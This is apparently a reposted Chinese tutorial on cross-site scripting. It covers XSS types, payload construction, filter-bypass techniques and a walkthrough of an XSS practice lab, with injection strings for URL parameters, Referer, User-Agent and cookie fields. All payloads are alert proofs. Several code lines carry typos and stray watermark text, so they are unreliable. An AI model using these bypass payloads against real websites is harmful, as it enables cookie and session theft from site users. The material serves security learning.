XSS跨站脚本攻击
XSS(Cross-Site Scripting)。是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会收到影响
危害:
- 盗取用户账号
- 窃取用户cookie
- 劫持用户会话
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
- …
分类
- 反射型
非持久型的,参数型跨站脚本。用户访问恶意链接,客户端浏览器执行恶意代码。
一般容易出现在搜索框,输入框,url参数中
- 存储型
持久性的,恶意代码被写进数据库或文件永久保存。
- DOM型
基于DOM文档对象的攻击。修改受害者浏览器页面的DOM树。DOM树一旦被修改,整个页面的DOM树都会重新构建。
构造
1. HTML标签构造
<script>alert(/xss/)</script>
2. 伪协议:JavaScript
使用伪协议的方式构造XSS
<a href="javascript:alert(/xss/)">click</a>
也可以使用img标签:此方法只在低版本IE浏览器:IE6下测试成功:
<img href="javascript:alert(/xss/)">
3. 事件
通过事件函数来驱动,从而触发XSS攻击。
- windows事件:对Windows对象触发的事件
- Form事件:HTML表单内的动作触发事件
- Keyboard事件:键盘事件
- Mouse事件:鼠标事件
- Media事件:多媒体事件(,,,…)
| 属性 | 类型 | 描述 |
|---|---|---|
| onerror | Windows | 当错误发生时运行脚本 |
| onfocus | Windows | 当窗口获得焦点时运行脚本 |
| onfocus | Form | 当元素获得焦点时运行脚本 |
| onforminput | Form | 当表单获得用户输入时运行脚本 |
| oninput | Form | 当元素获得用户输入时运行脚本 |
| onsubmit | Form | 当提交表单时运行脚本 |
| onkeydonw | Keyboard | 当按下按键时运行脚本 |
| onkeyup | Keyboard | 当松开按键时运行脚本 |
| onkeypress | Keyboard | 当按下并松开按键时运行脚本 |
| onclick | Mouse | 当单击鼠标时运行脚本 |
| onmousemove | Mouse | 当鼠标指针移动时运行脚本 |
| onmousedown | Mouse | 当按下鼠标按钮时运行脚本 |
| onmouseover | Mouse | 当鼠标指针移至元素之上时运行脚本 |
| onerror | Media | 当在元素加载期间发生错误时运行脚本 |
| onplay | Media | 当媒介数据将要开始播放时运行脚本 |
| onloadstart | Media | 当浏览器开始加载媒介数据时运行脚本 |
| onseeking | Media | 当媒介元素的定位属性为真且定位已开始时运行脚本 |
eg:
<img src="./smile.jpg" onmouseover='alert(/xss/)'>
<input type="text" onkeydown='aler(/xss/)'>
<input type="text" onkeyup='aler(/xss/)'>
<input type="buttont" onclick='aler(/xss/)'>
<input type="text" onfocus='alert(/xss/)' autofocus='autofocus'> #属性规定当页面加载时 元素应该自动获得焦点
<img src="#" onerror='alert(/xss/)'>
<svg onload='alert(/xss/)'>
XSS 的变形
大小写转换
HTML标签对大小写不敏感。
JavaScript对大小写敏感。Javascript使用Unicode字符集。
<scRIPT>alert(/xss/)<ScriPT/>
<a HreF="javaScript:alert(/xss/)">click me</a>
引号的使用
HTML对引号不敏感。
<img src="#" onerror="alert(/xss/)">
<img src='#' onerror="alert(/xss/)">
<img src=# onerror="alert(/xss/)">
利用左斜线”/“代替空格
<img/sRc='#'/Onerror="alert(xss)"/>
添加回车或者制表符
<a HreF=" j a v a S c r i p t :alert(xss)>click</a> "
讯享网
转码
HTML实体字符:
以&开头,以分号结尾。例如:< 的html字符实体是:"<",>的html字符实体是:">"
字符编码
十进制,十六进制编码。样式为 ”&#数值;“。
例如:< 的十进制编码为:"<" ,十六进制编码为:"<"
> 的十进制编码为:">" ,十六进制编码为:">"
JS 编码
JS提供了多种字符编码策略:
- 八进制:三个八进制数字,个数不够前面补0,例如:”e“为”\145“
- 两位十六进制:两个十六进制数字,例如:”e“为”\x65“
- 四位十六进制:四个十六进制数字,个数不够前面补0,例如:”e“为”\u0065“
拆分跨站
讯享网<script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</script>
双写绕过
<scr<scritp>ipt>
调用shellcode
1. 远程调用
通过script标签的src属性进行调用。
这是比较常用的方式。
>
2. windows.location.hash
获取url中的锚点内容(带#号)
?submit=submit&xsscode=<script>eval(location.hash.substr(1)</script>#alert(/xss/)
3. XSS Downloader
XSS下载器就是将XSS代码写在网页中,然后通过Ajax技术加载网页中的XSS代码。
在使用XSS下载器之前,我们需要自己有一个网页。
4.备选存储
存在cookie中,refer,Flash共享对象等。。。
XSS chanllenges:通关挑战

测试代码:<script " ’ OOnn>
【01】
url参数中:
name=
【02】
"> 闭合
">
【03】
搜索框输入测试代码,然后查看网页源代码。发现value为单引号闭合。
创造事件:
’ οnmοuseοver='alert(/xss/)
【04】将03的单引号改为双引号即可
"οnmοuseοver="alert(/xss/)
【05】

查看页面源代码发现:字母转为小写,<script 被替换为<scr_ipt,on 被替换为o_n
"><a href="javascript:alert(/xss/)">click</a>
【06】
查看页面源代码发现:<script 被替换为<scr_ipt,On没有被替换
" Onmouseover="alert(/xss/)
【07】
scirpt没有了,OOnn只剩下on
讯享网" oonnmouseover="alert(/xss/)
【08】
javascript:alert(/xss/)
【09】
讯享网javascript:alert('http://')
【10】
查看页面源代码,发现有隐藏输入框,携带参数,闭合该元素。
xss/level10.php?t_sort=click" type="text" onmouseover="alert(/xss/)
【11】
t_ref字段猜测可能是refer字段。
修改refer字段即可。
讯享网click" type="button" onclick="alert(/xss/)
【12】
ua字段:userAgent
click" type="text" onmouseover="alert(/xss/)
【13】
cookie
讯享网user=click" type="button" onclick="alert(/xss/)

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/24449.html